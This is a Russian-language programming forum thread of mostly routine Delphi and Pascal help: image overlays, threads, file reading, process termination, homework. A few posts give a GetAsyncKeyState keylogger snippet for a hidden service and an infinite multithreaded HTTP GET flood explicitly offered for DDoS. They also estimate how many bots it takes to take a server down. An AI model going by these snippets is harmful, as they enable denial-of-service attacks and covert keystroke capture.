у меня прописано все это... я же написал про поддержку пхп... а сервер выдает только хтмл... я же вроде понятно выразился... или то только мне так кажется :(
Решил попробывать сделать кейлоггер. Я хочу. чтобы прога уходила в процессы.
Т.е. работала как служба. поэтому я выбрал service application в delphi7. Но в сервисе нет событий клавиратуры. Я попытался ввести Hook.. но у сервиса нет
переменоой onMessage в которую записывается сообщение клавиратуры. Она есть только у формы. Что делать?
Решил попробывать сделать кейлоггер. Я хочу. чтобы прога уходила в процессы.
Т.е. работала как служба. поэтому я выбрал service application в delphi7. Но в сервисе нет событий клавиратуры. Я попытался ввести Hook.. но у сервиса нет
переменоой onMessage в которую записывается сообщение клавиратуры. Она есть только у формы. Что делать?
Существует функция глобального события нажатой клавиши, то есть не для отдельного окна а для системы в целом. Как-то так ))
Вот вам маленький пример кейлогера:
if GetAsyncKeyState($41)<>0 then
Add('a');
Проверяем код нажатой клавиши ($41) ,если он тот, что нам нужен, то это английская буква "а". Соответственно добавим ее куда-нибудь. Функция Add('a') - самописная.
patcher, мне надо копирайт на картинку поставить...
Опиши подробнее, что конкретно нужно? Одну картинку на другую наклеить программно? Создать цифровую подпись? Не знаешь как добавить в ресурсы картинку? Расскажи в деталях, поможем :)
Опиши подробнее, что конкретно нужно? Одну картинку на другую наклеить программно? Создать цифровую подпись? Не знаешь как добавить в ресурсы картинку? Расскажи в деталях, поможем :)
Мне надо склеить две картинки(в точке 0 ; высота картинки - высота копирайта), причем чтобы одна картинка (копирайт) была записана в программе
Мне надо склеить две картинки(в точке 0 ; высота картинки - высота копирайта), причем чтобы одна картинка (копирайт) была записана в программе
Тогда все просто. Вставляешь картинку-копирайт в ресурсы, как говорили выше (или см гугл, там этого полно). Или можешь просто положить ее на форму в Image и скрыть его от посторонних глаз. Далее нужно наложить одну картинку на другую, как я понимаю? Тогда вот примерчик небольшой. В нем картинка из Image1 накладывается в Image2 в координатах (0,0).
Image2.Canvas.Draw(0, 0, Image1.Picture.Graphic);Думаю это то, что нужно.
Тогда все просто. Вставляешь картинку-копирайт в ресурсы, как говорили выше (или см гугл, там этого полно). Или можешь просто положить ее на форму в Image и скрыть его от посторонних глаз. Далее нужно наложить одну картинку на другую, как я понимаю? Тогда вот примерчик небольшой. В нем картинка из Image1 накладывается в Image2 в координатах (0,0).
Image2.Canvas.Draw(0, 0, Image1.Picture.Graphic);Думаю это то, что нужно.
Выдает ошибку:
http://s003.radikal.ru/i203/1001/b3/7bf4a8ea0bab.jpg
зы: а не используя формы и Image, а только в выйлах можно склеят?
Seven[up]
10.01.2010, 12:43
Не подскажете как сделать проверку такого вида:
if s:=antichat.ru then
b:=forum.antichat.ru;
if s:=vkontakte.ru then
b:=vk.com;
if s:=yandex.ru then
b:=ya.ru;
при этом что бы не вылетали ошибки, и при нахождении ответа, проверка прекращалась, и прога выполняла код дальше
']Не подскажете как сделать проверку такого вида:
if s:=antichat.ru then
b:=forum.antichat.ru;
if s:=vkontakte.ru then
b:=vk.com;
if s:=yandex.ru then
b:=ya.ru;
при этом что бы не вылетали ошибки, и при нахождении ответа, проверка прекращалась, и прога выполняла код дальше
так у тебя в коде ведь сплошные ошибки. вот переписал:
if s='antichat.ru' then
b:='forum.antichat.ru' else
if s='vkontakte.ru' then
b:='vk.com' else
if s='yandex.ru' then
b:='ya.ru';
Seven[up]
10.01.2010, 13:11
так у тебя в коде ведь сплошные ошибки. вот переписал:
if s='antichat.ru' then
b:='forum.antichat.ru' else
if s='vkontakte.ru' then
b:='vk.com' else
if s='yandex.ru' then
b:='ya.ru';
Спасибо, работает)
зы: а не используя формы и Image, а только в выйлах можно склеят?
вот начиркал процедурку для наложения копирайтов на картинку (минус - работает только с bmp-файлами):
procedure CopyrightsToImage(Copyrights, Image, NewImage:string; x,y:integer; Transparent:boolean);
var Image1, Image2:TImage;
begin
Image1:=TImage.Create(Application.Owner);
Image2:=TImage.Create(Application.Owner);
Image1.Picture.LoadFromFile(copyrights);
Image1.Transparent:=Transparent;
Image2.Picture.LoadFromFile(Image);
Image2.Canvas.Draw(x, y, Image1.Picture.Graphic);
Image2.Picture.SaveToFile(NewImage);
Image1.Free;
Image2.Free;
end;
Пример использования:
CopyrightsToImage('c:\copyrights.bmp', 'c:\Картинка.bmp', 'c:\Новая Картинка.bmp', 50, 50, true);
Что значит каждый параметр:
Copyrights - путь к картинке-копирайтам.
Image - путь к рисунку, на который будут накладыватся копирайты.
NewImage - путь к рисунку, куда сохраняется новый рисунок (с копирайтами).
x,y - координаты копирайта.
Transparent - прозрачность\непрозрачнос ь копирайта.
вот начиркал процедурку для наложения копирайтов на картинку (минус - работает только с bmp-файлами):
procedure CopyrightsToImage(Copyrights, Image, NewImage:string; x,y:integer; Transparent:boolean);
var Image1, Image2:TImage;
begin
Image1:=TImage.Create(Application.Owner);
Image2:=TImage.Create(Application.Owner);
Image1.Picture.LoadFromFile(copyrights);
Image1.Transparent:=Transparent;
Image2.Picture.LoadFromFile(Image);
Image2.Canvas.Draw(x, y, Image1.Picture.Graphic);
Image2.Picture.SaveToFile(NewImage);
Image1.Free;
Image2.Free;
end;
Пример использования:
CopyrightsToImage('c:\copyrights.bmp', 'c:\Картинка.bmp', 'c:\Новая Картинка.bmp', 50, 50, true);
Что значит каждый параметр:
Copyrights - путь к картинке-копирайтам.
Image - путь к рисунку, на который будут накладыватся копирайты.
NewImage - путь к рисунку, куда сохраняется новый рисунок (с копирайтами).
x,y - координаты копирайта.
Transparent - прозрачность\непрозрачнос ь копирайта.
а для jpg ничего нету, а то просто вход jpg и выход jpg надо
А текст нельзя положить на картинку?
а для jpg ничего нету, а то просто вход jpg и выход jpg надо
Можно и Jpeg:
uses ...JPEG, ExtCtrls;
Можно и Jpeg:
uses ...JPEG, ExtCtrls;
Это подключается когда на форму кидаешь image1
Image2.Canvas.Draw(x, y, Image1.Picture.Graphic);
Не проходит, даже с bmp
дык, ты же спрашивал вроде как без фомы сделать:)
ЗЫ стукни в аську вечерком (в профиле), помогу разобратся)
и еще вопрос: как записать весь файл в строковую переменную?
Seven[up]
10.01.2010, 16:06
как закрыть прогу, во время выполнения цикла?:
memo1.Clear;
i:=-1;
for m:= 0 to 1000000000 do
begin
application.ProcessMessages;
I:= I+1;
memo1.Lines.Add(IntToStr(i));
end;
']как закрыть прогу, во время выполнения цикла?:
memo1.Clear;
i:=-1;
for m:= 0 to 1000000000 do
begin
application.ProcessMessages;
I:= I+1;
memo1.Lines.Add(IntToStr(i));
end;
form1.Close;
а для jpg ничего нету, а то просто вход jpg и выход jpg надо
А текст нельзя положить на картинку?
Если нужно ДЖПГ то попробуй это:
Как перевести BMP в JPEG и обратно
uses JPEG;
//BMP -> JPEG
JpgImage:=TJPEGImage.Create;
JpgImage.Assign(BmpImage);
//JPEG -> BMP
BmpImage:=TBitmap.Create;
BmpImage.Assign(JpgImage); Где BmpImage и JpgImage - твои файлы.
А для вот пример накладывания текста на картинку. Но при таком подходе фон текста не прозрачный. Может кто-то предложит вариант и по-лучше, но пока так:
Image1.Picture.Bitmap.Canvas.TextOut(0, 0, 'bla-bla');
================================================== ==============================
']как закрыть прогу, во время выполнения цикла?:
Application.Terminate;
и что это у тебя за корявый цикл? Вот так будет лучше:
memo1.Clear;
application.ProcessMessages;
while true do
begin
inc(i);
memo1.Lines.Add(IntToStr(i));
end;
ImPic.Picture.Bitmap.Canvas.TextOut(0, 0, 'bla-bla'); решит все проблемы :)
form1.Close;
Форму то он закроет а вот программа будет висеть в процессах, так что тут только возможно убийство процесса (о этом гуглите, много примером существует на эту тему)(по другому не знаю как сделать)
Как "убить" процесс, зная его pid?
и еще вопрос: как записать весь файл в строковую переменную?
function ReadFile2String(filename:string):string;
var s:TStringList;
begin
s:=TStringList.Create;
s.LoadFromFile(filename);
result:=s.Text;
s.Free;
пример использования:
var s:string;
begin
s:=ReadFile2String('c:\file.txt');
Как "убить" процесс, зная его pid?
ещё один забаненный Гуглом
bool KillProcByPid(DWORD pid)
{
DWORD ExitCode;
HANDLE hp;
bool ret = true;
if(pid)
{
hp = OpenProcess(PROCESS_ALL_ACCESS, true, pid);
if (hp)
{
GetExitCodeProcess(hp, &ExitCode);
ret = TerminateProcess(hp, ExitCode);
}
else
{
return false;
}
}
else
{
return false;
}
CloseHandle(hp);
return ret;
}
не тестил но в принципе работать должно :)
небольшая поправка. PROCESS_ALL_ACCESS лучше не делать. Лучше ставить флаг что ты открываеш процес для убийства, а не с полными правами. Потому как бывают случае что нельзя процесс открыть с полными правами. Да и тут это не нужно
kenny-cs
11.01.2010, 11:16
Проблема с вводом и выводом с помощью StringGrid.
Вот код
var i,j : integer;
mas : array[1..15] of integer;
sort : array[1..15] of integer;
begin
j:=1;
for i:=0 to 15 do
begin
mas[i]:=StrToInt(StringGrid1.Cells[i,0]);
end;
for i:=0 to 15 do
begin
if (mas[i] < 0) then
begin
sort[j]:=mas[i];
j:=j+1;
end;
end;
for i:=0 to 15 do
begin
if (mas[i] = 0) then
begin
sort[j]:=mas[i]; j:=j+1;
end;
end;
for i:=0 to 15 do
begin
if (mas[i] > 0) then
begin
sort[j]:=mas[i]; j:=j+1;
end;
end;
for i:=0 to 15 do
begin
StringGrid1.Cells[i,0]:=IntToStr(sort[i]);
end;
А вот ошибка
http://s001.radikal.ru/i195/1001/1e/0955f2b41821t.jpg (http://radikal.ru/F/s001.radikal.ru/i195/1001/1e/0955f2b41821.jpg.html)
Подскажите пожалуйста, как Int вводить и выводить в StingGrid.
ну онже пишет что ты пытался пустую стркоу конвертировать в число.
т.е. у тебя не все элементы sort являются числами. Так что проверяй его содержимое
ещё один забаненный Гуглом
bool KillProcByPid(DWORD pid)
{
DWORD ExitCode;
HANDLE hp;
bool ret = true;
if(pid)
{
hp = OpenProcess(PROCESS_ALL_ACCESS, true, pid);
if (hp)
{
GetExitCodeProcess(hp, &ExitCode);
ret = TerminateProcess(hp, ExitCode);
}
else
{
return false;
}
}
else
{
return false;
}
CloseHandle(hp);
return ret;
}
не тестил но в принципе работать должно :)
Вы конечно ОЧЕНЬ любезны уважаемый, но я просил помощи на Delphi, а не на Си. Если кто-то может помогите пожалуйста переделать данный код на Delphi-йский.
Заранее благодарен.
Как "убить" процесс, зная его pid?
procedure TForm1.KillProcess(PID: Cardinal);
var
exitcode:UINT;
x:THandle;
begin
x:=Openprocess(PROCESS_TERMINATE,false,PID);
if x <> 0 then begin
try
TerminateProcess(x, 0);
finally
CloseHandle(x);
end;
end;
end;
Всем доброго времени суток!
Вопрос:
Имеется два текстовых поля Memo1,Memo2 и кнопка.
Так вот по нажатии на кнопку необходимо строчки из Memo1 переместить в Memo2 в рандомном порядке.
Заранее спасибо :-)
Seven[up]
11.01.2010, 18:56
Всем доброго времени суток!
Вопрос:
Имеется два текстовых поля Memo1,Memo2 и кнопка.
Так вот по нажатии на кнопку необходимо строчки из Memo1 переместить в Memo2 в рандомном порядке.
Заранее спасибо :-)
procedure TForm1.Button1Click(Sender: TObject);
var I:integer;
var m:integer;
begin
for m:= 0 to memo1.Lines.Count-1 do
begin
I:= random(memo1.Lines.Count);
memo2.Lines.Add(memo1.Lines.Strings[i]);
memo1.Lines.Delete(i);
end;
end;
сорри если ошибся, я недавно в delphi
>>serhio<<
11.01.2010, 19:06
Помогите реализовать на pascale!!!
Дано число k (< 10) и текстовый файл, содержащий более k строк. Создать новый текстовый файл, содержащий k последних строк исходного файла.
Всем доброго времени суток!
Вопрос:
Имеется два текстовых поля Memo1,Memo2 и кнопка.
Так вот по нажатии на кнопку необходимо строчки из Memo1 переместить в Memo2 в рандомном порядке.
Заранее спасибо :-)
вот написал процедурку:
procedure peremeshat(s1,s2:TStrings);
var i,k:integer; s:TstringList;
begin
s:=TStringList.Create;
s.Text:=s1.Text;
s2.Clear;
for i:=0 to s.Count-1 do begin
k:=random(s.Count-1);
s2.Add(s[k]);
s.Delete(k);
end;
end;
В твоем случе пользоватся ею нужно так:
procedure TForm1.Button1Click(Sender: TObject);
begin
peremeshat(memo1.Lines, Memo2.Lines);
end;
Radiator
11.01.2010, 19:30
помогите новичку,может где то есть.
необходимо.
есть поля: Memo, Button, Combobox
1. при нажатии Button в поле Memo вылезало 1000 строк со случайносгенерированными (от 0 до 9 )числами. Надо,что бы в каждой строчке было 7 чисел этих чисел, на второй тоже 7 и так далее.
2. Также необходимо при выборе из значения ComboFix ,что бы иметь следующее :допустим мы получили в первой строчке значение 1234567, так вот, теперь нам необходимо выбрать нужный параметр из Списка ComboFix и добить его к номеру,что бы получилось 0001234567. И тАк соответствено весь диапазон получившихся чисел.
Помогите реализовать на pascale!!!
Дано число k (< 10) и текстовый файл, содержащий более k строк. Создать новый текстовый файл, содержащий k последних строк исходного файла.
Держи:
program proga;
var k,i,m:byte; ip,op:TextFile; s:string;
begin
m:=0;
assignfile(ip, 'c:\input.txt');
reset(ip);
assignfile(op, 'c:\output.txt');
rewrite(op);
readln(k);
while not(eof(ip)) do begin
readln(ip,s);
inc(m);
end;
reset(ip);
for i:=1 to m-k do
readln(ip);
for i:=1 to k do begin
readln(ip,s);
writeln(op,s);
end;
closefile(ip);
closefile(op);
writeln('Gotovo!');
readln;
end.
помогите новичку,может где то есть.
Держи: http://slil.ru/28468420
Radiator
11.01.2010, 20:09
спасибо
>>serhio<<
11.01.2010, 21:19
сенкс
[yZ']
procedure TForm1.KillProcess(PID: Cardinal);
var
exitcode:UINT;
x:THandle;
begin
x:=Openprocess(PROCESS_TERMINATE,false,PID);
if x <> 0 then begin
try
TerminateProcess(x, 0);
finally
CloseHandle(x);
end;
end;
end;
Огромное спасибо! ;)
>>serhio<<
12.01.2010, 09:34
Пожалуйста помогите разобраться в задаче на pascale!!! Буду очень признателен!
Задача№1
Дана последовательность из 10 слов. Вывести слова, в которых первая буква входит в них один раз.
Задача№2
Составить список содержащий сведения об n студентов, для каждого учащегося указать: фамилию,идентификационный номер, дата выдачи свидетельство постановке на учетв налоговом органе,дата рождения,год поступления в университет,курс,группа,ко -во семестровобучения,оценки каждой сесии по всем семестрам. Информация о каждом студенте о форме и виде записи, совокупность записей объединить в массив.Вывести на экран список студентов, рекомендуемых к получению стипендии. Критерий – средний балл рекомендуемого студента должен быть выше значения, задаваемого с клавиатуры. N = 4.
>>serhio<<, что-то очень часто тебе нужно "помочь разобратся". Для того чтобы тебе помогли, нужно выложить свой код и сказать что именно не получается, а то у меня такое чувство, что мы тебе здесь лабу решаем) Если это так, то ты ошибся разделом---->>>>Работа (http://forum.antichat.ru/forum57.html) .
P.S. сорри за оффтоп
Доброго времени суток, есть ли в дэлфи аналог eval(); как в яве,
Хочу чтобы пускалась программа после ввода в неё "пароля" она ксорила остальную часть и запускала её, как подобное можно реализовать?
Доброго времени суток, есть ли в дэлфи аналог eval(); как в яве,
Хочу чтобы пускалась программа после ввода в неё "пароля" она ксорила остальную часть и запускала её, как подобное можно реализовать?
Делфи - компилируемый язык, никаких eval() там быть не может.
kenny-cs
12.01.2010, 20:48
подскажи пожалуйста, как найти наименьший и наибольший общие делители в массиве.
я себе представляю это так: находишь наименьший элемент, делишь по очереди на каждый элемен, потом проверяем, если остаток везде целое число, значит это наименьший делитель.
p.s. есть ли другие способы нахождения?
p.s.s delphi
подскажи пожалуйста, как найти наименьший и наибольший общие делители в массиве.
я себе представляю это так: находишь наименьший элемент, делишь по очереди на каждый элемен, потом проверяем, если остаток везде целое число, значит это наименьший делитель.
p.s. есть ли другие способы нахождения?
p.s.s delphi
за4ем тебе делить этот "наименьший ел" на все ел. массива?мне кажется что это чуть другое...
"Целое число, на которое одновременно делятся без остатка несколько чисел, называется их общим делителем."(Википедиа),мне кажется что нужно просто в цикле находить для каждого елемента массив делителей,после этого найти пересе4ение всех этих массивов,а там уже искать мин и макс значение.Если 4е не так предлагайте еще варианты.ИМХО
Как сделать что бы при нажатии определенной комбинации клавиш компьютер "зависал"(то есть картинка на рабочем столе замирала курсор не двигался и по нажатию клавиш ничего не происходило), но по нажатию другой комбинации клавиш все становилось нормально???Мне сказали что с помощью делфи можно такое замутить.Вот подскажите как, желательно поподробней(тк я в этом деле пока что нуб)Заранее спасибо!!
>>serhio<<
13.01.2010, 09:37
>>serhio<<, что-то очень часто тебе нужно "помочь разобратся". Для того чтобы тебе помогли, нужно выложить свой код и сказать что именно не получается, а то у меня такое чувство, что мы тебе здесь лабу решаем) Если это так, то ты ошибся разделом---->>>>Работа (http://forum.antichat.ru/forum57.html) .
P.S. сорри за оффтоп
Program labor6_2;
uses crt;
type
student=record
fam:string[15];
inn:string[12];
datenal:string[10];
yearb:string[10];
yearpos:string[10];
kurs:string[5];
group:string[10];
kolvos:string[5];
bal:string[5];
b1,b2,b3,b4,b5,b6,b7,b8,b9,b10:2..5;
end;
var stipendia:array[1..4] of student;
s:student; i,h,f:integer;
procedure Ex;
begin
write('| Familija |');
write('| Data rojdenija |');
write('| Ocenki za poslednuju sessiju |');
for i:=1 to 4 do
with stipendia[i] do
if f = > bal then
begin
writeln('|',fam:20, ' |');
writeln('|',yearb:14, ' |');
writeln('|',b1,b2,b3,b4,b5,b6,b7,b8,b9,b10:20, ' |');
end;
readkey;
end;
begin
clrscr;
for i:=1 to 4 do
with klass[i] do
begin
writeln('Vvedite familiu');
readln(fam);
writeln('Vvedite INN');
readln(inn);
writeln('Vvedite datu vyda4i Svid. o post. na u4et v nal.org.');
readln(datenal);
writeln('Vvedite datu rojdenija');
readln(yearb);
writeln('Vvedite god postuplenija');
readln(yearpos);
writeln('Vvedite kurs');
readln(kurs);
writeln('Vvedite gruppu');
readln(group);
writeln('Vvedite kol-vo semestrov obu4enija');
readln(kolvos);
writeln('Vvedite po 5 ocenok za 1 i 2 semestr');
readln(b1,b2,b3,b4,b5,b6,b7,b8,b9,b10);
f:=b1+b2+b3+b4+b5+b6+b6+b7+b8+b9+b10;
writeln('Vvedite srednii bal');
readln(bal);
end;
clrscr;
ex;
end.
Только вот незнаю правильно или нет, глянь пожалуйста!
У меня в программе в отдельном Unit'е обрабатывается поток, как можно из потока вывести сообщение на форму?
Если попытаться вывести сообщение прямо из потока то размер окна сообщения станет произвольно впрочем как и расположение
А если делать через процедуру, то при запуске из по компилятора возникает ошибка, а так все работает...
transserg
13.01.2010, 17:51
привет всем встал в ступор с этой задачей в реестре хранится число=) но не могу его преобразовать в читабельный вид то есть время верное а вот дата бредовая
Function GetWindowsSetupDate:string;
const
regpath = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion';
ValueName = 'InstallDate';
var
hSubKey : HKEY;
BufSize : DWORD;
Buf : DWORD;
MyValType : DWORD;
tm : TDateTime;
time : _FILETIME;
fTime : SYSTEMTIME;
begin
// 01.01.1970
// 31536000
// 2629743
// 1258983428
if RegOpenKey(HKEY_LOCAL_MACHINE, regpath,hSubKey) = ERROR_SUCCESS then
if RegQueryValueEx(hSubKey, ValueName, nil, @MyValType, nil, @BufSize) =ERROR_SUCCESS then
begin
if RegQueryValueEx(hSubKey, ValueName, nil, @MyValType, @Buf,@BufSize) =ERROR_SUCCESS then
begin
time.dwHighDateTime:=Buf;
FileTimeToLocalFileTime(time,time);
FileTimeToSystemTime(time,ftime);
result:=Format('%d.%d.%d %d:%d:%d',[fTime.wDay,fTime.wMonth,fTime.wYear,fTime.wHour,fT ime.wMinute,fTime.wSecond]);
end;
end;
end;
вот что я получаю
'12.1.18736 17:35:46'
StealthMaster
13.01.2010, 21:39
Есть ли для Delphi7 компоненты для построения графиков помимо TChart? Хочется, чтобы все выглядело покрасивее :)
Где можно взять более полный фак для Делфи?
2 Andres Стандартная справка по Делфи + MSDN + 5005 Статей по делфи.
s0l_ir0n
14.01.2010, 08:39
Есть ли для Delphi7 компоненты для построения графиков помимо TChart? Хочется, чтобы все выглядело покрасивее :)
Их на торри всегда туева хуча: http://www.torry.net/pages.php?s=88
Seven[up]
14.01.2010, 19:57
Покажите на примеры как отправить гет запрос в 10 потоков. Например: idhttp1.Get(http://ya.ru/);
Как выкинуть диалоговое окно из потока?
Что будет с WebBrowser если нету IE?
Всем доброго времени суток!
У меня есть вопрос, возможно он глуп но всё же...
Этот код работает на ура...
if FindWindow(0,'Диспетчер задач Windows') <> 0 then Label1.Caption:= Нашли!';
---------------------------------------------
А этот молчит...
if FindWindow(0,'В Контакте | Добро пожаловать) <> 0 then Label1.Caption:= Нашли!';
В чём причина?
Заранее спасибо.
Всем доброго времени суток!
У меня есть вопрос, возможно он глуп но всё же...
Этот код работает на ура...
---------------------------------------------
А этот молчит...
В чём причина?
Заранее спасибо.
Не знаю как у тебя но у меня: Форум АНТИЧАТ - Mozilla Firefox
Вот тебе пища для размышления
Ухахаха, вот я лол :-))) Спасибо ))
Как выкинуть диалоговое окно из потока?
Что будет с WebBrowser если нету IE?
1.
synchronize(procedure
begin
showmessage('пыщ пыщ');
end);
2.
Могу предположить, что компонент просто откажется работать, покажет какую нить дефолтную страничку о ошибке
Какой способ будет работать быстрее (UrlDownloadToFile или GetInetFile)?
И как добавить progressbar (или просто узнать размер, и сколько скачено)
один фиг ты не заметишь разницы. Потому что канал будет давать наибольшее ограничение, по сравнению с которым разница в скорости этих функций ничтожна
Покажите на примеры как отправить гет запрос в 10 потоков. Например: idhttp1.Get(http://ya.ru/);
Объявляете.
type
Send = class (TThread)
private
protected
procedure Execute; override;
end;
Создаете.
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
Запускаете.
function new_send : boolean;
var
NewThread : Send;
begin
NewThread := Send.Create(true);
NewThread.Priority := tpnormal;
NewThread.FreeOnTerminate := true;
NewThread.Start;
Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.
Поделитесь хорошим генератором multipart/form-data пакетов (ну или только тела пакета)
и чтобы можно было добавлять еще параметры в существующие тела (то есть удалить 2 последние строки, и добавить еще параметр, потом опять закрыть тело пакета)
ПС: Кто в курсе тот поймет
Объявляете.
type
Send = class (TThread)
private
protected
procedure Execute; override;
end;
Создаете.
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
Запускаете.
function new_send : boolean;
var
NewThread : Send;
begin
NewThread := Send.Create(true);
NewThread.Priority := tpnormal;
NewThread.FreeOnTerminate := true;
NewThread.Start;
Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.
В связи с недавними событиями ддоса на ачате появился повпрос:
Если сделать так:
procedure send.execute;
var
s : string;
http : tidhttp;
begin
http := tidhttp.create;
try
for i:=1 to 10000000 do
s := http.get ('http://ya.ru/');
except end;
{Что-то делаем с данными}
http.free;
end;
for i := 1 to 10000000 do new_send;
И запустить на нескольких компах? это и будет ддос?
Или я чего не догоняю?
denjf, да, но лучше запустить for i := 1 to 100 do new_send; (в 100 потоков) и в процедуре send_execute написать
var
http : tidhttp;
begin
http := tidhttp.create;
while true do
try
http.get ('http://ya.ru/');
except end;
end;
][yZ
Немного не в тему но все же: Сколько надо компов таких что бы повесить сервак?
несколько сотен или несколько тысяч?
2 denjf зависит от сервака. От 15 ботов до 7k
Когда-то получалось обычный сервак под IIS+ASP валить 15 ботами.
А вот гугль наверное и 10k незавалят )
Вообще зависит от канала и производительности, и то, какой сервис досишь
Помогите сделать парсинг кода на JS а потом вычислить его
Вот примеры кодов:
<SCRIPT LANGUAGE='javascript'>var lxpyojqlpu=1589666056;var zvpxuuhob=274005637;var iypbsx=1468515098;var bwxqd=1729288489;var gwiabytd=972356717;if((zvpxuuhob%13)>8) iypbsx = iypbsx ^ 2087927630;if((lxpyojqlpu%5)>4) bwxqd = bwxqd ^ 245640587;if((iypbsx%19)>5) zvpxuuhob = zvpxuuhob ^ 1374324487;if((gwiabytd%17)>3) iypbsx = iypbsx ^ 85138756;if((iypbsx%5)>0) zvpxuuhob = zvpxuuhob ^ 44329079;if((bwxqd%13)>8) iypbsx = iypbsx ^ 1849950360;if((gwiabytd%17)>16) lxpyojqlpu = lxpyojqlpu ^ 965973475;if((gwiabytd%3)>0) gwiabytd = gwiabytd ^ 1549800127;if((iypbsx%11)>10) bwxqd = bwxqd ^ 449762829;if((zvpxuuhob%13)>4) zvpxuuhob = zvpxuuhob ^ 1921956651;if((bwxqd%17)>3) bwxqd = bwxqd ^ 1756278414;if((bwxqd%19)>13) zvpxuuhob = zvpxuuhob ^ 2088122228;if((zvpxuuhob%3)>1) iypbsx = iypbsx ^ 959803415;if((zvpxuuhob%13)>12) lxpyojqlpu = lxpyojqlpu ^ 247077368;if((gwiabytd%17)>9) iypbsx = iypbsx ^ 276505872;if((iypbsx%3)>1) iypbsx = iypbsx ^ 1329437240;if((zvpxuuhob%5)>0) bwxqd = bwxqd ^ 1771328816;lxpyojqlpu = 15221649 ^ lxpyojqlpu ^ zvpxuuhob ^ iypbsx ^ bwxqd ^ gwiabytd;form1.kv.value = lxpyojqlpu;</SCRIPT>
<SCRIPT LANGUAGE='javascript'>var ldqfmwupsa=1592845201;var phvcmmef=1878246562;var gguxx=1340020073;var thtkdwera=1601881395;var jthmw=1307169702;if((jthmw%11)>1) jthmw = jthmw ^ 1703361336;if((phvcmmef%3)>0) gguxx = gguxx ^ 1639870829;if((phvcmmef%19)>5) jthmw = jthmw ^ 1579782360;if((thtkdwera%19)>7) gguxx = gguxx ^ 392125920;if((ldqfmwupsa%19)>5) ldqfmwupsa = ldqfmwupsa ^ 410954717;if((thtkdwera%19)>15) phvcmmef = phvcmmef ^ 1343928423;if((jthmw%13)>8) gguxx = gguxx ^ 2054430401;if((jthmw%7)>6) phvcmmef = phvcmmef ^ 164262382;if((ldqfmwupsa%19)>1) thtkdwera = thtkdwera ^ 1737167826;if((ldqfmwupsa%19)>7) phvcmmef = phvcmmef ^ 1197846947;if((jthmw%11)>5) ldqfmwupsa = ldqfmwupsa ^ 280617076;if((phvcmmef%7)>1) thtkdwera = thtkdwera ^ 494554954;if((ldqfmwupsa%5)>2) thtkdwera = thtkdwera ^ 999319489;ldqfmwupsa = 1057472035 ^ ldqfmwupsa ^ phvcmmef ^ gguxx ^ thtkdwera ^ jthmw;form1.kv.value = ldqfmwupsa;</SCRIPT>
<SCRIPT LANGUAGE='javascript'>var ssjmlwkrtp=628628863;var shrojpon=1277335524;var fhchrqg=1650542936;var qulgbmtbq=71160325;var wdblkzi=861711698;if((qulgbmtbq%19)>0) ssjmlwkrtp = ssjmlwkrtp ^ 40697840;if((wdblkzi%19)>8) wdblkzi = wdblkzi ^ 531863743;if((qulgbmtbq%19)>9) wdblkzi = wdblkzi ^ 870959117;if((ssjmlwkrtp%17)>15) ssjmlwkrtp = ssjmlwkrtp ^ 871330406;if((wdblkzi%17)>1) qulgbmtbq = qulgbmtbq ^ 254769796;if((ssjmlwkrtp%11)>4) fhchrqg = fhchrqg ^ 696083433;if((ssjmlwkrtp%13)>1) fhchrqg = fhchrqg ^ 1154645328;if((fhchrqg%5)>4) qulgbmtbq = qulgbmtbq ^ 625479442;if((qulgbmtbq%5)>3) shrojpon = shrojpon ^ 2001012507;if((ssjmlwkrtp%13)>1) ssjmlwkrtp = ssjmlwkrtp ^ 1210143159;if((shrojpon%13)>4) shrojpon = shrojpon ^ 1849324198;if((wdblkzi%3)>0) qulgbmtbq = qulgbmtbq ^ 1493504853;if((wdblkzi%3)>2) ssjmlwkrtp = ssjmlwkrtp ^ 908970818;if((shrojpon%19)>4) shrojpon = shrojpon ^ 1963085680;if((fhchrqg%3)>1) wdblkzi = wdblkzi ^ 1786246870;ssjmlwkrtp = 689237102 ^ ssjmlwkrtp ^ shrojpon ^ fhchrqg ^ qulgbmtbq ^ wdblkzi;form1.kv.value = ssjmlwkrtp;</SCRIPT>
В коде:
Всегда 5 переменных
Всегда имя и значения этих переменных разные
Всегда 18 "Если" где условие всегда разные
Каким образом в Делфи можно писать нормальные математические символы?
Пример
http://img691.imageshack.us/img691/7278/msp34719948124bc9b59f10.gif
Здравствуйте! Отправляю пост запрос в кодировке 'multipart/form-data'
http_client:=TIdHTTP.Create(nil);
multi:=Tidmultipartformdatastream.Create;
multi.AddFormField('post','0');
multi.AddFormField('postid','1');
multi.AddFormField('test','ТЕСТ');
и т.д.....
http_client.Post('http://url', multi);
через браузер выходит так:
------------rASF3sX2nnE7XYVfFHAkCK
Content-Disposition: form-data; name="post"
0
------------rASF3sX2nnE7XYVfFHAkCK
Content-Disposition: form-data; name="postid"
1
------------rASF3sX2nnE7XYVfFHAkCK
Content-Disposition: form-data; name="test"
ТЕСТ
и т.д.
через прогу:
----------012010185513125
Content-Disposition: form-data; name="post"
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
0
----------012010185513125
Content-Disposition: form-data; name="postid"
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
1
----------012010185513125
Content-Disposition: form-data; name="test"
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
???.????
и т.д.
Подскажите пожалуйста как убрать строки "Content-Type: text/plain" и "Content-Transfer-Encoding: quoted-printable"? Как поменять "----------012010185513125" на "------------rASF3sX2nnE7XYVfFHAkCK" и как сделать чтоб вместо знаков вопросов была нормальная кодировка?
И есть ли у кого-нибудь готовые примеры рисования графиков функций?
нужна самая актуальная книжка для полных чайников по турбо паскалю, для человека который прогулял в свое время информатику ))
где популярно изложено самое простое (что такое var, write.writeln и т.д)
з.ы надеюсь разделом не ошибся, если что извините :(
Flair, http://samouchka.net/ebooks/yap/bookpascal/
з.ы. я рекомендую от Фаронова
CyberHunter
20.01.2010, 21:55
http://www.bookarchive.ru/ - я здесь беру книги, и по паскалю там тоже есть.
И есть ли у кого-нибудь готовые примеры рисования графиков функций?
какой язык?паскаль,делфи?
какой язык?паскаль,делфи?
Delphi
GhostOnline
